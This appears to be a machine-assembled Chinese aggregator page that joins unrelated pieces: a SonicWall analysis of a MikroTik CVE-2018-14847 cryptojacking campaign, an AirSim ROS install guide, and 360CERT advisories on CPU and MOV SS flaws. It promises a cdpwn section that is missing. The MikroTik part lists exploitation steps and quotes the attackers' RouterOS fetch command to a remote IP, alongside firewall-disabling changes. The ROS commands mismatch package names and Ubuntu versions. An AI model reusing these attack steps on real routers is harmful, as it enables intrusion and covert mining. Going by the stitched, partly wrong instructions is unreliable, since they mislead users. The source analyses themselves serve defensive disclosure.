在本文中,您将会了解到关于ROSrouterosmikrotik路由器CVE-2018-14847漏洞的新资讯,同时我们还将为您解释ros路由器官网的相关在本文中,我们将带你探索ROSrouteros
在本文中,您将会了解到关于ROS routeros mikrotik 路由器 CVE-2018-14847 漏洞的新资讯,同时我们还将为您解释ros路由器官网的相关在本文中,我们将带你探索ROS routeros mikrotik 路由器 CVE-2018-14847 漏洞的奥秘,分析ros路由器官网的特点,并给出一些关于Airsim 动态 | 安装 ROS 包装器(AirSim ROS Wrapper)、CVE-2018-3639 & CVE-2018-3640:CPU SSB/RSRE 漏洞预警、CVE-2018-8897/CVE-2018-1087:多个操作系统对 MOV SS/POP SS 指令处理存在缺陷预警、CVE-2020-3110、CVE-2020-3111、CVE-2020 -3118、CVE-2020-3119、CVE-2020-3120 cdpwn 解析的实用技巧。
本文目录一览:- ROS routeros mikrotik 路由器 CVE-2018-14847 漏洞(ros路由器官网)
- Airsim 动态 | 安装 ROS 包装器(AirSim ROS Wrapper)
- CVE-2018-3639 & CVE-2018-3640:CPU SSB/RSRE 漏洞预警
- CVE-2018-8897/CVE-2018-1087:多个操作系统对 MOV SS/POP SS 指令处理存在缺陷预警
- CVE-2020-3110、CVE-2020-3111、CVE-2020 -3118、CVE-2020-3119、CVE-2020-3120 cdpwn 解析
ROS routeros mikrotik 路由器 CVE-2018-14847 漏洞(ros路由器官网)
原文:
https://securitynews.sonicwall.com/xmlpost/massive-cryptojacking-campaign/
SonicWall is observing a massive Cryptojacking malware that is spreading aggressively throughout Brazil. The Malware attempts to exploit the vulnerability CVE-2018-14847 by targeting the unpatched versions of MikroTik RouterOS. Compromised MikroTik routers have been made to inject Coinhive miner script into the web pages it host & also pages from web proxy. As MikroTik routers are mainly used by Internet Service Providers (ISP), the impact is huge & widespread.
Fig:1 Monero mining through compromised MikroTik RouterOS
CVE-2018-14847:
Winbox, a utility tool for administration of MikroTik RouterOS, allows remote attackers to bypass authentication and to read arbitrary files. Winbox accepts socket connection through port 8291, and in case of error, it sends out “Bad Session id” response. Along with this response one byte from the Session ID is also sent. Attackers could exploit this exposure of session ID to craft a request to get into the system. MikroTik RouterOS versions from 6.29 through 6.42 are vulnerable to this attack.
STEPS TO EXPLOIT THIS VULNERABILITY:
1. Scan for MikroTik devices by sending UDP broadcast message to port 5678 and figure out mac address from the socket connection message.
Note: UDP port 5678 is used for MikroTik Neighbor Discovery Protocol (MNDP).
Fig: 2 Discovering MikroTik devices from POC
2. Attempt to connect to MicroTik device with its mac. Capture the Session ID leaked by the “Bad session id response”. Resend the packet by altering just one byte of session id to bypass authentication allowing access to files
Fig 3 : Exploit code from POC
3. Extract the data files & user credential to get admin privilege over MikroTik
4. Make the below changes to the MikroTik Routers, leaving the device more vulnerable than before.
- Disable Drop rules for Firewall
- Enable port 4145 for ip socks
- System scheduler to run a script named script3_ every 30s to fetch the updated mikrotik.php
- fetch a\ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http”
We too observed unusual port activity for the destination port 4145. The below spike in the port scan aligns with the time period of this attack. But the IP address that tapped is not same as 95.154.216.*
Fig: 4 NetworkScan monitor report from netlab 360
INJECT COINHIVE MINER SCRIPT:
MikroTik can be used as web server hosting web pages & as proxy server proxying HTTP requests, caching the response to use later and also provides custom error pages. It is found that attackers have used all three venues to wide spread the injection of coinhive miner. Users connected to MikroTik RouterOS can have the script injected into their responses & as well the users visiting the pages hosted by MiktoTik (shown in Fig 1) . It spreads quickly up to ~200,000 web hosts having the Coinhive miner script linked with a single Coinhive ‘SiteKey’ that belongs to the attacker
Fig: 5 Coinhive miner script injected into a website
Fig: 6 Volume of web hosts impacted with this
CONINHIVE:
Cryptojacking is same as cryptocurrency but secret use of your computing device to mine cryptocurrency. In-browser cryptojacking secretly use the computing device of the site visitor to mine bits of cryptocurrencies. Coinhive is a cryptocurrency mining service that offers Javascript miner API for the Monero Blockchain. It can be embedded in any website. But website owners abuse this service by not asking for users permission to run the miner. Also attackers abuse this by embedding coinhive API with his sitekey on the hacked websites. Users visiting those sites run miner on their browsers draining their CPU power as long as the browser is open. Unlike Bitcoin, Monero is untraceable and there is no way to track Monero transactions. This makes Monero an ideal candidate for hackers and Coinhive the most prevalent malware to mine cryptocurrency. With Cryptojacking, all the infected machines will work to mine cryptocurrency, more profitable than Ransomware.
Sonicwall Threat Research Lab provides protection against Coinhive miner with the following signatures:
- GAV Coinhive.JS_2
- GAV CoinHive.JS
- SPY CoinHive WebAssembly Binary 1
- IPS Coinhive Monero Miner Secure Web Traffic 1
- IPS Coinhive Monero Miner Secure Web Traffic 2
- IPS Coinhive Monero Miner Web Traffic 1
Trend Graph & Geostatistics :
Find below the hits that SonicWall observed in the recent past
This can be avoided by updating to the latest version of MikroTik RouterOS & securing the Router with strong authentication & firewall rules to block unauthorized access.
Airsim 动态 | 安装 ROS 包装器(AirSim ROS Wrapper)
本期内容我们将带来在 Airsim 环境下使用 ROS Wrapper 的相关教程,以下是 AirSim 客户端库上的一些 ROS Wrapper 相关配置。
一、启动
以下步骤适用于 Linux 系统。如果是在 Windows 上运行 AirSim,可以使用 Windows Subsystem for Linux (WSL) 来运行 ROS 包装器,如果不想在主机上安装 ROS 相关工具,也可以使用 Docker 容器进行安装。请检查下方内容并按照需求安装,具体内容可以参照最后网址。
如果您的默认 GCC 版本不是 8 或更高版本(检查使用命令 gcc --version)
a) 安装 gcc >= 8.0.0:sudo apt-get install gcc-8 g++-8 b) 验证安装 gcc-8 --version
如果是 Ubuntu 18.04 版本 a) 安装 ROS melodic 版本 b) 安装 tf2 传感器和 mavros 包: sudo apt-get install ros-kinetic-tf2-sensor-msgs ros-kinetic-tf2-geometry-msgs ros-kinetic-mavros*
如果是 Ubuntu 16.04 版本 a) 安装 ROS Kinetic 版本 b) 安装 tf2 传感器和 mavros 包: sudo apt-get install ros-melodic-tf2-sensor-msgs ros-melodic-tf2-geometry-msgs ros-melodic-mavros*
如果是 Ubuntu 20.04 版本 a) 安装 ROS noetic 版本 b) 安装 tf2 传感器和 mavros 包: sudo apt-get install ros-melodic-tf2-sensor-msgs ros-melodic-tf2-geometry-msgs ros-melodic-mavros*
安装 catkin_tools: sudo apt-get install python-catkin-tools 或 pip install catkin_tools. 如果使用的 Ubuntu 是 20.04 版本,请使用以下安装命令: pip install "git+https://github.com/catkin/catkin_tools.git#egg=catkin_tools"
网址推荐: 1.WSL 在 Win10 上构建环境: https://microsoft.github.io/AirSim/airsim_ros_pkgs/#setting-up-the-build-environment-on-windows10-using-wsl1-or-wsl2
2. 使用 Docker: https://microsoft.github.io/AirSim/airsim_ros_pkgs/#using-docker-for-ros
二、构建环境
构建 AirSim: git clone https://github.com/Microsoft/AirSim.git; cd AirSim; ./setup.sh; ./build.sh; 确定已按照上述界面安装好并为 ROS 设置了环境变量。方便起见,将 “source” 命令添加到自己的【.bashrc】上(替换 melodic 为特定版本名称)。 echo "source /opt/ros/melodic/setup.bash" >> ~/.bashrc source ~/.bashrc
构建 ROS 包 cd ros; catkin build; # or catkin_make
请注意,如果自己默认 GCC 版本不是 8 以上的版本,则会导致编译失败,在这种情况下,可以使用【gcc-8】明确这一点: catkin build -DCMAKE_C_COMPILER=gcc-8 -DCMAKE_CXX_COMPILER=g++-8
三、运行 source devel/setup.bash; roslaunch airsim_ros_pkgs airsim_node.launch; roslaunch airsim_ros_pkgs rviz.launch; 注意:如果运行时出现错误:
注意:如果运行时出现错误: roslaunch airsim_ros_pkgs airsim_node.launch 则可以使用命令 catkin clean 清除并重新运行。
四、使用 AirSim ROS wrapper 功能包 ROS wrapper 由两个 ROS 节点组成 —— 第一个是 AirSim 的多旋翼 C++ 客户端库的包装器,第二个是一个简单的 PD 位置控制器。
关于订阅和发布节点,参数与 service 可以参考网址: https://microsoft.github.io/AirSim/airsim_ros_pkgs/#airsim-ros-wrapper-node
PID 位置控制器节点可以参考: https://microsoft.github.io/AirSim/airsim_ros_pkgs/#simple-pid-position-controller-node
- End -
技术发展的日新月异,阿木实验室将紧跟技术的脚步,不断把机器人行业最新的技术和硬件推荐给大家。看到经过我们培训的学员在技术上突飞猛进,是我们培训最大的价值。如果你在机器人行业,就请关注我们的公众号,我们将持续发布机器人行业最有价值的信息和技术。 阿木实验室致力于前沿 IT 科技的教育和智能装备,让机器人研发更高效!
CVE-2018-3639 & CVE-2018-3640:CPU SSB/RSRE 漏洞预警
0x00 漏洞概述
2018 年 5 月 21 日,微软官方公布新 CPU 漏洞 --Speculative Store Bypass (SSB) 漏洞细节,属于日前预警的 Spectre-NG 的其中一个( Variant 4),由 MSRC 团队的 Ken Johnson 和 Google Project Zero 团队的 Jann Horn 共同发现,漏洞编号为 CVE-2018-3639,目前 Google Project Zero 团队已公布相关 poc 代码,攻击者能通过 v4 拿到 cpu 或内存中的旧有内容。
同时,另一个 CPU 漏洞 --Rogue System Register Read (RSRE) 也被披露,属于 Spectre-NG 中的 Variant 3a,漏洞编号为 CVE-2018-3640。
360-CERT 团队经过评估,认为漏洞风险等级重要,建议进行谨慎评估后更新。
0x01 漏洞影响面
AMD,ARM,Intel 厂商的 CPU 分别受到不同程度的影响
目前,
微软在年初发布的针对 Spectre and Meltdown 漏洞的安全更新对此漏洞有一定的缓解。
主流浏览器厂商,Intel, RedHat, Xen 等各家基础服务提供商也提供了相应的缓解措施。
Intel 提供的受影响处理器列表:
Intel® Core™ i3 processor (45nm and 32nm)
Intel® Core™ i5 processor (45nm and 32nm)
Intel® Core™ i7 processor (45nm and 32nm)
Intel® Core™ M processor family (45nm and 32nm)
2nd generation Intel® Core™ processors
3rd generation Intel® Core™ processors
4th generation Intel® Core™ processors
5th generation Intel® Core™ processors
6th generation Intel® Core™ processors
7th generation Intel® Core™ processors
8th generation Intel® Core™ processors
Intel® Core™ X-series Processor Family for Intel® X99 platforms
Intel® Core™ X-series Processor Family for Intel® X299 platforms
Intel® Xeon® processor 3400 series
Intel® Xeon® processor 3600 series
Intel® Xeon® processor 5500 series
Intel® Xeon® processor 5600 series
Intel® Xeon® processor 6500 series
Intel® Xeon® processor 7500 series
Intel® Xeon® Processor E3 Family
Intel® Xeon® Processor E3 v2 Family
Intel® Xeon® Processor E3 v3 Family
Intel® Xeon® Processor E3 v4 Family
Intel® Xeon® Processor E3 v5 Family
Intel® Xeon® Processor E3 v6 Family
Intel® Xeon® Processor E5 Family
Intel® Xeon® Processor E5 v2 Family
Intel® Xeon® Processor E5 v3 Family
Intel® Xeon® Processor E5 v4 Family
Intel® Xeon® Processor E7 Family
Intel® Xeon® Processor E7 v2 Family
Intel® Xeon® Processor E7 v3 Family
Intel® Xeon® Processor E7 v4 Family
Intel® Xeon® Processor Scalable Family
Intel® Atom™ Processor C Series (C3308, C3338, C3508, C3538, C3558, C3708, C3750, C3758, C3808, C3830, C3850, C3858, C3950, C3955, C3958)
Intel® Atom™ Processor E Series
Intel® Atom™ Processor A Series
Intel® Atom™ Processor X Series (x5-E3930, x5-E3940, x7-E3950)
Intel® Atom™ Processor T Series (T5500, T5700)
Intel® Atom™ Processor Z Series
Intel® Celeron® Processor J Series (J3355, J3455, J4005, J4105)
Intel® Celeron® Processor N Series (N3450)
Intel® Pentium® Processor J Series (J4205)
Intel® Pentium® Processor N Series (N4000, N4100, N4200)
Intel® Pentium® Processor Silver Series (J5005, N5000)
0x02 漏洞细节
Speculative Store Bypass (SSB)--CVE-2018-3639 漏洞细节,攻击者能通过 v4 拿到 cpu 或内存中的旧有内容,漏洞可能发生在如下场景:
01: 88040F mov [rdi+rcx],al
02: 4C0FB6040E movzx r8,byte [rsi+rcx]
03: 49C1E00C shl r8,byte 0xc
04: 428B0402 mov eax,[rdx+r8]
如果 RDI 和 RSI 指向的是同一个地址,则假设第 1 行中的 MOV 指令在特殊情况下可能需要额外的时间来执行( 如果计算 RDI+RCX 的地址表达式正在等待先前的指令执行)。在这种情况下,CPU 可能会预测 MOVZX 不依赖于 MOV,并且可以在执行保存 AL 数据的 MOV 之前进行预测执行。这可能会导致位于 RSI+RCX 的内存中的旧数据被加载到 R8 中,从而导致第四行代码使用了错误的数据。
该漏洞适用的攻击场景如下:
Poc 的运行效果如下:
Rogue System Register Read (RSRE)--CVE-2018-3640 漏洞:
该漏洞允许具有本地用户访问权限的攻击者在有预测执行能力的微处理器上,可以通过侧信道攻击读取系统寄存器的值
0x03 缓解措施
针对 Speculative Store Bypass (SSB)--CVE-2018-3639 的缓解措施:
利用序列化指令(例如 x86/x64 上的 LFENCE 和 ARM 上的 SSBB 指令)来屏蔽预测执行,缓解 SSB 漏洞
升级微码或固件在硬件方面修补该漏洞
对于 CVE-2017-5753 (Spectre variant 1)漏洞的缓解措施同样适用于该漏洞
其他缓解措施对该漏洞的影响:
0x04 时间线
2018-05-07 360CERT 发布《Spectre-NG:多个新 CPU 漏洞预警》
2018-05-21 CVE-2018-3639 & CVE-2018-3640 漏洞被公布
2018-05-22 360CERT 发布 CVE-2018-3639 & CVE-2018-3640 漏洞预警通告
0x05 参考链接
https://blogs.technet.microsoft.com/srd/2018/05/21/analysis-and-mitigation-of-speculative-store-bypass-cve-2018-3639/
https://blogs.technet.microsoft.com/srd/2018/03/15/mitigating-speculative-execution-side-channel-hardware-vulnerabilities/
https://bugs.chromium.org/p/project-zero/issues/detail?id=1528
https://access.redhat.com/security/vulnerabilities/ssbd
https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00115.html
推荐阅读:
1、Nagios XI 多个漏洞分析预警
2、从 ZipperDown 漏洞谈 iOS App 安全实践
长按下方二维码关注 360CERT!谢谢你的关注!
注:360CERT 官方网站提供《CVE-2018-3639 & CVE-2018-3640:CPU SSB/RSRE 漏洞预警》完整预警详情,点击阅读原文
本文分享自微信公众号 - 三六零 CERT(CERT-360)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与 “OSC 源创计划”,欢迎正在阅读的你也加入,一起分享。
CVE-2018-8897/CVE-2018-1087:多个操作系统对 MOV SS/POP SS 指令处理存在缺陷预警
0x00 漏洞描述
操作系统的开发者没有正确处理 Intel 64 和 IA-32 架构软件开发人员手册的系统编程指南中的一则声明,导致 MOV SS/POP SS 指令延迟的 #DB 异常可能产生意外的行为,引起操作系统崩溃甚至可以被用来提权 (CVE-2018-8897)。在 KVM 中也存在类似的问题 (CVE-2018-1087)。该漏洞影响范围广,危害等级重要。
0x01 漏洞影响面
漏洞影响 Windows/MacOS/FreeBSD/Linux 内核等现代流行的操作系统和 KVM/Xen 等虚拟化系统。
0x02 技术细节
假设现在要执行下面这两条指令:
同时设置了一个硬件访问断点,刚好 mov ss, [rax] 指令会触发这个硬件访问断点。
由于 mov ss 和 pop ss 指令会悬挂异常和中断,所以 mov ss, [rax] 指令虽然会产生硬件中断,但中断会被挂起,直到下一条指令执行完毕后才响应中断。执行 int 3 指令优先响应 int 3 中断,CPU 切入内核,执行 IDT 对应的 3 号中断向量。int 3 中断会判断此次 int 3 来自 R3 还是 R0,如果来自 R3,选择交换 GS。
但是此时还悬挂一个硬件中断,所以当执行第一条之前,就会立马去执行 IDT 对应的 1 号中断向量,此时还没有交换 GS。int 1 属于中断门,此时是由 int 3 响应代码中断过来的,权限为 R0,会使用原来的 GS。这样就在内核模式异常处理程序中运行了用户模式中设置的 GS,可能会造成意外的后果。
下面是对公布在 github 上的在 windows 上利用此漏洞的提权代码中关键点的简要分析。
windows 系统崩溃时会执行 KeBugCheckEx,KeBugCheckEx 中会执行 RtlCaptureContext 和 KiSaveProcessorControlState,这给了我们获取程序控制流的机会。
如果我们通过设置 DR 寄存器在 gs:20h+0x40+0xA0 处设置一个硬件访问断点 (作者给的偏移是 gs:20h+0x100+0xA0),就能在 KeBugCheckEx 中进入到 KiDebugTrapOrFault,KiDebugTrapOrFault->…->RtlCaptureContext,用户空间中的线程读取一次 RSP,继续 KiDebugTrapOrFault->…->RtlCaptureContext,用户空间中的线程再读取一次 RSP,因为执行的流程一样,根据两次 RSP 值的差可以计算出下一次调用 RtlCaptureContext 时 RSP 的值,减去 0x8 是返回指针存放的位置。
接下来构造了一个禁用 SMEP 并跳转到 shellcode 的 ROP 链,存在 XMM13-XMM15 中。
前面把返回指针存放的位置减去 XMM13 在 Context 结构体中的偏移存在了伪造的 PCR 的结构中,之后恢复 Context 写 XMM13-XMM15 的时候 ROP 链覆盖了返回指针,从而执行了 shellcode。成功利用之后效果如下。
0x03 修复建议
目前多家受影响的厂商已经提供了相关的补丁,360CERT 建议广大用户按照提示进行更新,防范利用该漏洞的攻击。
Apple:https://support.apple.com/en-us/HT208742
FreeBSD Project:https://www.freebsd.org/security/advisories/FreeBSD-SA-18:06.debugreg.asc
Microsoft:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897
Red Hat:https://access.redhat.com/security/vulnerabilities/pop_ss
Ubuntu:https://usn.ubuntu.com/3641-1/
Ubuntu:https://usn.ubuntu.com/3641-2/
Xen:https://xenbits.xen.org/xsa/advisory-260.html
Linux Kernel:https://patchwork.kernel.org/patch/10311005/
Linux Kernel:https://patchwork.kernel.org/patch/10310757/
0x04 时间线
2018-05-08 漏洞披露,公布 POC
2018-05-14 研究人员根据披露的细节公布构造的 EXP
2018-05-15 360CERT 做出预警
0x05 参考链接
POP SS/MOV SS Vulnerability
http://everdox.net/popss.pdf
Arbitrary Code Execution At Ring 0 Using CVE-2018-8897
https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/
https://github.com/nmulasmajic/CVE-2018-8897
推荐阅读:
1、EFAIL:PGP/GPG 和 S/MIME 漏洞预警
长按下方二维码关注 360CERT!谢谢你的关注!
注:360CERT 官方网站提供《CVE-2018-8897/CVE-2018-1087:多个操作系统对 MOV SS/POP SS 指令处理存在缺陷预警》完整预警详情,点击阅读原文